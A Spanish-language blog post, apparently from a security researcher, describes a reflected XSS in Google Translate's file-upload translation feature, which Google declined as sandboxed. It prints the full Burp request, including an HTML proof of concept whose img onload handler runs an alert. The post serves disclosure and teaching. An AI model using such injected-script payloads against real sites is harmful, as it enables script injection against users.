25 noviembre, 2015

El NO Cross-Site Scripting de Google



Hola a tod@s



El pasado día utilizando el traductor de Google me fije en una funcionalidad adicional que tiene el traductor, y es que nos permite la subida de ficheros para su traducción.


Inmediatamente me puse a analizar el servicio, cuál fue mi sorpresa cuando descubrí un XSS, Google no lo consideraba un riesgo, pues no tiene impacto porque se encuentra dentro de un sandbox, sea como fuere lo he querido traer aquí por su contenido didáctico y enseñar para el que no lo conozca.


En  primer lugar visitamos la dirección https://translate.google.es/?hl=es y hacer click en traducir un documento.


Imagen 1: https://translate.google.es/?hl=es




Subimos nuestra prueba de concepto y subimos.


 
Imagen 2:  Upload del fichero




Imagen 3: Traducir el documento



Por último podemos visualizar el XSS reflejado.

Imagen 4: XSS en el traductor de Google




A continuación la petición de Burp:

POST /translate_f HTTP/1.1
Host: translate.googleusercontent.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://translate.google.es/?hl=es
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------147452561017500
Content-Length: 1095

-----------------------------147452561017500
Content-Disposition: form-data; name="sl"

en
-----------------------------147452561017500
Content-Disposition: form-data; name="tl"

es
-----------------------------147452561017500
Content-Disposition: form-data; name="js"

y
-----------------------------147452561017500
Content-Disposition: form-data; name="prev"

_t
-----------------------------147452561017500
Content-Disposition: form-data; name="hl"

es
-----------------------------147452561017500
Content-Disposition: form-data; name="ie"

UTF-8
-----------------------------147452561017500
Content-Disposition: form-data; name="text"


-----------------------------147452561017500
Content-Disposition: form-data; name="file"; filename="poc.html"
Content-Type: text/html

<img src="http://www.imagenesderisa.com.mx/wp-content/uploads/2015/10/imagenes-de-risa-2.jpg" onload="alert('XSS en Google AUDIT')"</img>
-----------------------------147452561017500
Content-Disposition: form-data; name="edit-text"


-----------------------------147452561017500--

 


Tras notificarlo a Google me informaron que no se considera un riesgo, pues está dentro de la sandbox, por lo que no afecta al bugbounty.

2 comentarios: